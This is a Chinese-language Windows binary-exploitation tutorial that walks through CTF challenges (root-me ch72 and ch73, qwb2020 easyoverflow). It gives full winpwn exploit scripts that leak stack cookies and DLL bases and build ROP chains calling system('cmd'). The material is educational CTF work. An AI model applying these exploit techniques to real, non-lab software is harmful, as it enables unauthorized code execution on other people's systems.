Windows pwn Reference
https://xz.aliyun.com/t/11865?time__1311=mqmx0DBD9DyDnDfx4BuQx20Uiph2SDIrhiD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F62994
环境搭建 网上找个 Win10 专业版安装就行
安装winpwn
1 2 3 4 pip3 install winpwn pip3 install pefile pip3 install keystone-engine pip3 install install capstone
安装windbg
可以直接在商店安装
windows 保护机制 NX :这个在win上其实是DEP,堆栈不可执行保护
Canary :这个在win上其实是GS,可能这个工具的开发者为了让我们更好理解才写了Canary,但是需要注意的是这个工具的canary检测可能检测不准
ASLR :通俗讲就是地址随机化,让exe和dll的地址全部随机,所以就有了大名鼎鼎Heap Spray (堆喷)利用技术,Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。
Dynamic Base :程序编译时可通过/DYNAMICBASE编译选项指示程序是否利用ASLR的功能
High Entropy VA :如果指定此选项,则当内核将进程的地址空间布局随机化为 ASLR 的一部分时,兼容版本的 Windows 内核可以使用更高的熵。 如果内核使用更高的熵,则可以将更多的地址分配给堆栈和堆等内存区域。 因此,更难猜测特定内存区域的位置。当该选项打开时,当这些模块作为 64 位进程运行时,目标可执行文件和它所依赖的任何模块必须能够处理大于 4 GB 的指针值。
SEH :结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows 操作系统对错误或异常提供的处理技术。SEH 是 Windows操作系统的一种系统机制,本身与具体的程序设计语言无关。SEH 为Windows的设计者提供了程序错误或异常的处理途径,使得系统更加健壮
SafeSEH :为了防止攻击者通过覆盖堆栈上的异常处理函数句柄,从而控制程序执行流程的攻击,在调用异常处理函数之前,对要调用的异常处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠,立即终止异常处理函数的调用。不过SafeSEH需要编译器和系统双重支持,缺少一个则保护能力基本就丧失了
Force Integrity :强制签名保护
Control Flow Guard :控制Flow防护 (CFG) 是一项高度优化的平台安全功能,旨在打击内存损坏漏洞。 通过严格限制应用程序可以从何处执行代码,利用漏洞(如缓冲区溢出)执行任意代码会更加困难
Isolation :隔离保护,默认会开启
Authenticode :签名保护
以上是checksec的每个保护机制的简要解释,看到这里可能还会迷迷糊糊的,后续的win pwn文章利用会有绕过这些保护,到时候会详细的解释,包括什么是TIB,TEB等
ssh 远程连接 https://www.cnblogs.com/sunchong/p/10171870.html
例题 stack overflow 题目地址
题目下载命令
1 scp -P 2225 app-systeme-ch72@challenge05.root-me.org:/challenge/app-systeme/ch72/ch72.exe /home/henry/Documents
输入密码 app-systeme-ch72
就可以下载到本地。
检查保护
检查中显示开了 canary,不过在 ida 中没有看到,以ida为准,可能这个 checksec 还是有一些不准。
通过分析程序,可以发现程序中是给了一个后门函数的
这就相当于是 ret2text 了,通过设置payload如下,就可以获取到 shell:
1 2 payload = 'a' * (0x14 + 4) payload += p32(0x401000)
最终效果如下所示
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from winpwn import *from time import *context.log_level='debug' context.arch='i386' file_name = './ch72.exe' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 0 if debug: r = remote() else : r = process(file_name) payload = 'a' * (0x14 + 4 ) payload += p32(0x401000 ) r.sendline(payload) r.interactive()
Win Server ,可以像搭建pwn题一样,把exe给映射到一个端口上
这样通过使用 pwntools 中的工具也是可以直接打通的
不过显示可能会出现乱码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from time import *context.log_level='debug' context.arch='i386' file_name = './ch72.exe' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('192.168.127.141' , 1234 ) else : r = process(file_name) payload = b'a' * (0x14 + 4 ) payload += p32(0x401000 ) r.sendline(payload) r.interactive()
windbg 调试 通过 pause 将程序断住,然后在 windbg 里面 attach 进程就好了
可以看到程序已经可以成功断住
执行下面两个指令,就可以在断点处停下来了,记得这时候
查看返回地址可以发现已经被我们覆盖为了后门函数的地址,运行即可 getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from winpwn import *from time import *context.log_level='debug' context.arch='i386' file_name = './ch72.exe' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 0 if debug: r = remote() else : r = process(file_name) pause() payload = 'a' * (0x14 + 4 ) payload += p32(0x401000 ) r.sendline(payload) r.interactive()
利用winpwn模块进行调试 命令如下:
1 windbgx.attach(io, 'bp 0x14000109B')
利用 winpwn 模块进行调试时,需要在该目录下面添加一个 .winpwn 配置文件。
文件内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 { "debugger" :{ "i386" : { "x64dbg" : "F:\\ctfTools\\debugTools\\x64debug\\release\\x32\\x32dbg.exe" , "gdb" : "F:\\ctfTools\\windows-gdb\\mingw-w64-686\\mingw32\\bin\\gdb.exe" , "windbg" : "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe" , "windbgx" : "C:\\Users\\henry\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WinDbg_8wekyb3d8bbwe\\WinDbgX.exe" }, "amd64" : { "x64dbg" : "F:\\ctfTools\\debugTools\\x64debug\\release\\x64\\x64dbg.exe" , "gdb" : "F:\\ctfTools\\windows-gdb\\mingw-w64-64\\mingw64\\bin\\gdb64.exe" , "windbg" : "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe" , "windbgx" : "C:\\Users\\byzero\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WinDbg_8wekyb3d8bbwe\\WinDbgX.exe" } }, "debugger_init" : { "i386" : { "x64dbg" : "" , "gdb" : "" , "windbg" : ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x86\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;" , "windbgx" : ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x86\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;" }, "amd64" : { "x64dbg" : "" , "gdb" : "" , "windbg" : ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x64\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;" , "windbgx" : ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x64\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;" } } }
根据自己的需求改就行了,比如说我这里想调用 windbgX,只需要把 windbgx 的路径写到第 7 行就行。
windbg 带符号调试
source:https://a1ex.online/2020/10/15/Windows-Pwn%E5%AD%A6%E4%B9%A0/
这里建议配置一下调试符号表的下载,由于现在墙的限制和windows
对很多符号表已经取消开放了,所以很多系统库文件已经没有符号表了。但是对已有的,加载了符号表后,调试还是很方便的。符号表配置方法如下:
首先在windbg
的symbol file path
中添加符号表本地缓存的路径和远程的符号服务器:
srv*c:\MySymbols*https://msdl.microsoft.com/download/symbols
随后在windbg
命令行中输入:.reload
即可重新加载符号文件(**注意:**这里由于墙的原因,所以需要梯子)
1 2 3 4 5 6 7 .sympath // 查看当前符号查找路径 .sympath c:\symbols // 将符号查找路径设为:c:\symbols .sympath+ c:\symbols // 将c:\symbols添加到符号查找路径集合中 .reload // 为所有已加载模块载入符号信息 .reload /f /v // f:强制立即模式(不允许延迟载入) v:详细模式 .reload /f @"c:\windows\System32\verifier.dll" // 为指定模块加载符号信息
例题 ret2dll 进程资源管理器 这个工具查看程序加载的dll有哪些,这里我们对上一题 ch72 的依赖进行查看,如下图所示
常见 dll 常见的 dll 有:ntdll.dll
, kernel32.dll
, KernelBase.dll
, ucrtbase.dll
ntdll.dll :ntdll.dll是重要的Windows NT内核级文件 。描述了windows本地NTAPI的接口。当Windows启动时 ,ntdll.dll就驻留在内存中特定的写保护区域 ,使别的程序无法占用 这个内存区域。是Windows系统从ring3 到 ring0 的入口 ,位于Kernel32.dll和user32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的 。ntdll.dll中的函数使用SYSENTRY进入ring0,函数的实现实体在ring0中
kernel32.dll :kernel32.dll是非常重要的32位动态链接库文件,属于内核级文件 。它控制着系统的内存管理、数据的输入输出操作和中断处理 ,当Windows启动时,kernel32.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域
KernelBase.dll :系统文件kernelbase.dll是存放在Windows系统文件夹中的重要文件,通常情况下是在安装操作系统过程中自动创建的,对于系统正常运行来说至关重要
ucrtbase.dll :在介绍ucrtbase.dll前先看一下msvcrt.dll是啥,msvcrt.dll是微软在windows操作系统中提供的C语言运行库执行文件(Microsoft Visual C Runtime Library),其中提供了printf,malloc,strcpy等C语言库函数的具体运行实现 ,这个和libc.so很像。ucrtbase.dll其实就是把msvcrt.dll
拆开了,主要的c运行时的代码放在了ucrtbase.dll
中
题目下载
1 scp -P 2225 app-systeme-ch73@challenge05.root-me.org:/challenge/app-systeme/ch73/ch73.exe /home/henry/Documents
检查保护
静态分析
调试带参数的程序设置如下:
不知道为什么一开始还行,但是后面就只能设置绝对路径才能打开成功。
动态分析
step.1 泄露出 file pointer 值
这个值也就是上面静态分析中的 v11 存储的值,如果我们直接覆盖,会导致后面 close 崩溃。
经过测试,这个值在程序每次启动后的值都是一样的,只有当机器关了重启之后,该值会被重置。
step.2 泄露出 dll_base
这个值可以理解为是 libc_base,与在 linux 中一样,我们可以通过 printf,puts 这种函数来进行泄露地址。在 win 中是没有 plt 和 got 表的,但是 PE 中有两个差不多和这个等价的。
下图 idata 节处存储的即为对应函数的 dll 中的地址,只有当执行时,对应的地址将会写在这里(直接理解为 got 表就完事了)。
这里不多说,相应的类似于 plt 表的功能。
通过下面的 payload 我们就可以完成泄露地址信息
1 payload += p32(0xdeadbeef) + p32(printf_plt) + p32(0xdeadbeef) + p32(printf_got)
step.3 计算出 system,cmd.exe,劫持执行流
1 2 3 4 5 6 7 8 9 10 printf_addr = 0x756f4cb0 dll_base = printf_addr - 0x10174CB0 _system = dll_base + 0x10143D30 cmd_addr = dll_base + 0x101047A4 payload = 'a' *0x2008 payload += p32(file_pointer) payload += p32(0x4016f1 ) payload += p32(0x28 ) payload += p32(0xdeadbeef ) + p32(_system) + p32(0xdeadbeef ) + p32(cmd_addr)
这里说一句,这里的 printf_addr 的值和前面 file pointer 类似,只有机器重启,才会重置该值。
注意事项:
除了 processexplorer 可以查程序的依赖库外,windbg 在开始加载程序时,也会输出依赖库信息
这里的 msvcrt.dll
与 libc.so.6
类似,我们需要在这个库里面找到对应的偏移,我们上面的 dll_base,实际上就是 msvcrt.dll
在内存中加载的基地址。
最后也可以看到,也是在本地成功打通了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from winpwn import *from time import *context.log_level='debug' context.arch='i386' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) file_name = './ch73.exe' file_pointer = 0x75734660 printf_plt = 0x00402974 printf_got = 0x00406200 payload = 'a' *0x2008 payload += p32(file_pointer) payload += p32(0x4016f1 ) payload += p32(0x28 ) payload += p32(0xdeadbeef ) + p32(printf_plt) + p32(0xdeadbeef ) + p32(printf_got) printf_addr = 0x756f4cb0 dll_base = printf_addr - 0x10174CB0 _system = dll_base + 0x10143D30 cmd_addr = dll_base + 0x101047A4 payload = 'a' *0x2008 payload += p32(file_pointer) payload += p32(0x4016f1 ) payload += p32(0x28 ) payload += p32(0xdeadbeef ) + p32(_system) + p32(0xdeadbeef ) + p32(cmd_addr) payload = [ord (i) for i in payload] with open ('./test.txt' , 'wb' ) as f: f.write(bytes (payload))
win传参寄存器 参数先通过寄存器传递,顺序是 rcx rdx r8 r9
显示加载的各模块地址(vmmap) lwt 指令
例题 qwb2020-easyoverflow 题目地址:easyoverflow
虽然是一道很明显的栈溢出题目,但我在利用的过程中还是感受到了 win 和在 linux 中的不同,win 中保护变得貌似更复杂了点(略微复杂)。
先来看最后效果图,这是本地打通后的
远程用 Win Server 映射端口后,我用 ubuntu 远程打了一下,效果如下:
检查保护
可以看到 NX,canary,aslr,SEH 这些保护都是开了的。
静态分析
可以很明显的看到这里存在溢出,接下来考虑怎么利用了,我们不妨从 linux 的角度先来分析如何利用:
首先我们会通过 puts 泄露 canary
由于有三次 puts 的机会,我们还可以将 DstBuf 填充到返回地址前将泄露程序地址
有了程序地址后,我们就可以劫持执行流,puts 出 got 表中的 libc 地址 ,在返回到 main 函数
计算出 system,bin_sh 拿 shell
实际上就是一套标准的 ret2libc 的打法,那我们再来看看 win 下我们的利用过程:
首先我们会通过 puts 泄露 canary
由于有三次 puts 的机会,我们还可以将 DstBuf 填充到返回地址前将泄露程序地址
泄露出 ntdll.dll 的地址 ,来获取 gadget 地址 ,该地址在栈中 ,所以可以进行填充泄露
泄露出 security_cookie 的值 ,win 中 canary = rsp ^ security_cookie
puts 出 idata 表中存放的 ucrtbase 地址 ,在返回到 main 函数
计算出 system,cmd_addr 拿 shell
通过上面的分析我们可以发现,两者之间的区别是在第三步和第四步,但整体的思路仍然是相同的,下面我们就动态调试进一步详细说明。
动态分析
这里先说一下开了 aslr 的程序怎么用 windbg 进行调试,我们下断点的时候,可以通过一个程序名+偏移的方式下断点。
step.1 leak stack_cookie
通过上面我们可以计算出 DstBuf 和 stack_cookie(rsp ^ security_book) 之间的偏移,118h - 18h = 100h。
1 2 3 4 5 rl("input:" ) sd('a' * 0x100 ) rl("a" *0x100 ) stack_cookie = u64(io.recv(6 ).ljust(8 , '\0' )) li("stack_cookie" , stack_cookie)
step.2 leak code_base
其实从上面那里还可以看到程序的返回地址就在离 stack_cookie 不远处,所以我们这一步在泄露出返回地址。
1 2 3 4 5 6 7 8 rl("input:" ) sd('a' * 0x118 ) rl("a" *0x118 ) code_addr = u64(io.recv(6 ).ljust(8 , '\0' )) li("code_addr" , code_addr) code_base = code_addr - 0x12f4 li("code_base" , code_base)
step.3 leak ntdll_base addr
由于循环总共有三次所以第三次的时候程序会正常退出,所以我们这里需要拥有程序地址的基础上劫持程序的执行流,重新返回到main函数,再次利用栈溢出,并且重新泄露 stack_cookie ,原因是劫持之后的 rsp 有所变化,需重新泄露。
1 2 3 4 5 6 7 8 9 10 11 12 main_addr = code_base + 0x1000 rl("input:" ) payload = 'a' *0x100 + p64(stack_cookie) + p64(0xdeadbeef )*2 + p64(main_addr) sd(payload) rl("input:" ) sd('b' * 0x100 ) rl('b' * 0x100 ) stack_cookie2 = u64(io.recv(6 ).ljust(8 , '\0' )) li("stack_cookie2" , stack_cookie2)
这里需要说明的是,在调用 main 之前 ntdll.dll 的地址,也会保存在栈里 ,所以在程序 gadget 有限的情况下,我们可以泄露出 ntdll.dll 的地址后,利用该库的 gadget。查看加载库地址命令lwt
可以看到在下面不久处存在一个 ntdll 的地址,同时在上面还有一个 KERNEL32.DLL 中的地址(这道题没用到)。
下面我们就继续泄露出上图中的这个地址
1 2 3 4 5 6 7 8 9 10 11 12 sa("input:" , 'b' * 0x180 ) rl('b' * 0x180 ) ntdll_addr = u64(io.recv(6 ).ljust(8 , '\0' )) ntdll_base = ntdll_addr - 0x000526b1 li("ntdll_base" , ntdll_base) pop_rcx_ret = ntdll_base + 0x01a853 pop_rbx_ret = ntdll_base + 0x0137d pop_rdx_r11_ret = ntdll_base + 0x08c7e7
从下图也可以看到我们已经成功填充到了这里,从而就可以完成泄露了。
step.4 leak security_cookie
前面说过 canary 通过 rsp 异或 security_cookie 得到的,所以我们需要想办法泄露出该值,如果不泄露,我们会发现在后面随着布置的 ROP 链的执行,会导致 rsp 动态变化,从而导致会不通过后面的 check_security,security_cookie
值是直接保存在程序中的。
上面的值,在程序加载到内存之后就会发生变化,泄露代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 puts_got = code_base + 0x2180 call_puts = code_base + 0x10A6 security_cookie_addr = code_base + 0x3008 rl("input:" ) payload = 'a' *0x100 + p64(stack_cookie2) + p64(0xdeadbeef )*2 payload += p64(pop_rbx_ret) + p64(1 ) + p64(pop_rcx_ret) + p64(security_cookie_addr) + p64(call_puts) sd(payload) rl('a' *0x100 ) rl('\n' ) security_cookie = u64(io.recv(6 ).ljust(8 , '\0' )) li("security_cookie" , security_cookie) stack_addr = stack_cookie ^ security_cookie li("stack_addr" , stack_addr)
在有了 security_cookie 之后我们还可以反算得到栈地址,后面会用到。
注意事项: 这里之所以要将 rbx 设置为 1,是因为我们后面在执行完 call_puts 之后,依然可以进行一次循环输入payload 的机会,可以在 ida 中看一下这里的反汇编就会明白了。
**step.5 leak ucrtbase_addr **
这一步与前面例题 ret2dll 类似,可以参考上一题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 rsp1 = stack_addr + 0x168 rl("input:" ) payload = 'a' *0x100 + p64(rsp1 ^ security_cookie) + p64(0xdeadbeef )*2 payload += p64(pop_rbx_ret) + p64(1 ) + p64(pop_rcx_ret) + p64(puts_got) + p64(call_puts) sd(payload) ucrtbase_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) ucrtbase_addr -= 0x0083d50 li("ucrtbase_addr" , ucrtbase_addr) system = ucrtbase_addr + 0xAE5C0 cmd_addr = ucrtbase_addr + 0xD0CB0 li("system" , system) li("cmd_addr" , cmd_addr)
step.6 hijack control flow
1 2 3 4 5 6 7 rsp2 = stack_addr + 0x2c8 rl("input:" ) payload = 'a' *0x100 + p64(rsp2 ^ security_cookie) + p64(0xdeadbeef )*2 payload += p64(pop_rcx_ret) + p64(cmd_addr) + p64(system) sd(payload)
最后也是成功跳转到了 system 这里。
效果图:
final exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 from winpwn import *from time import *context.log_level='debug' context.arch='i386' re = lambda data: io.recv(data) sd = lambda data: io.send(data) sl = lambda data: io.sendline(data) rl = lambda data: io.recvuntil(data) sa = lambda content, data: (io.recvuntil(content), io.send(data)) sla = lambda content, data: (io.recvuntil(content), io.sendline(data)) li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) li = lambda content,data : print ('\x1b[01;38;5;214m' + content + ' == ' + hex (data) + '\x1b[0m' ) file_name = './StackOverflow.exe' io = process([file_name]) rl("input:" ) sd('a' * 0x100 ) rl("a" *0x100 ) stack_cookie = u64(io.recv(6 ).ljust(8 , '\0' )) li("stack_cookie" , stack_cookie) rl("input:" ) sd('a' * 0x118 ) rl("a" *0x118 ) code_addr = u64(io.recv(6 ).ljust(8 , '\0' )) li("code_addr" , code_addr) code_base = code_addr - 0x12f4 li("code_base" , code_base) main_addr = code_base + 0x1000 rl("input:" ) payload = 'a' *0x100 + p64(stack_cookie) + p64(0xdeadbeef )*2 + p64(main_addr) sd(payload) rl("input:" ) sd('b' * 0x100 ) rl('b' * 0x100 ) stack_cookie2 = u64(io.recv(6 ).ljust(8 , '\0' )) li("stack_cookie2" , stack_cookie2) sa("input:" , 'b' * 0x180 ) rl('b' * 0x180 ) ntdll_addr = u64(io.recv(6 ).ljust(8 , '\0' )) ntdll_base = ntdll_addr - 0x000526b1 li("ntdll_base" , ntdll_base) pop_rcx_ret = ntdll_base + 0x01a853 pop_rbx_ret = ntdll_base + 0x0137d pop_rdx_r11_ret = ntdll_base + 0x08c7e7 puts_got = code_base + 0x2180 call_puts = code_base + 0x10A6 security_cookie_addr = code_base + 0x3008 rl("input:" ) payload = 'a' *0x100 + p64(stack_cookie2) + p64(0xdeadbeef )*2 payload += p64(pop_rbx_ret) + p64(1 ) + p64(pop_rcx_ret) + p64(security_cookie_addr) + p64(call_puts) sd(payload) rl('a' *0x100 ) rl('\n' ) security_cookie = u64(io.recv(6 ).ljust(8 , '\0' )) li("security_cookie" , security_cookie) stack_addr = stack_cookie ^ security_cookie li("stack_addr" , stack_addr) rsp1 = stack_addr + 0x168 rl("input:" ) payload = 'a' *0x100 + p64(rsp1 ^ security_cookie) + p64(0xdeadbeef )*2 payload += p64(pop_rbx_ret) + p64(1 ) + p64(pop_rcx_ret) + p64(puts_got) + p64(call_puts) sd(payload) ucrtbase_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) ucrtbase_addr -= 0x0083d50 li("ucrtbase_addr" , ucrtbase_addr) system = ucrtbase_addr + 0xAE5C0 cmd_addr = ucrtbase_addr + 0xD0CB0 li("system" , system) li("cmd_addr" , cmd_addr) rsp2 = stack_addr + 0x2c8 rl("input:" ) payload = 'a' *0x100 + p64(rsp2 ^ security_cookie) + p64(0xdeadbeef )*2 payload += p64(pop_rcx_ret) + p64(cmd_addr) + p64(system) sd(payload) io.interactive()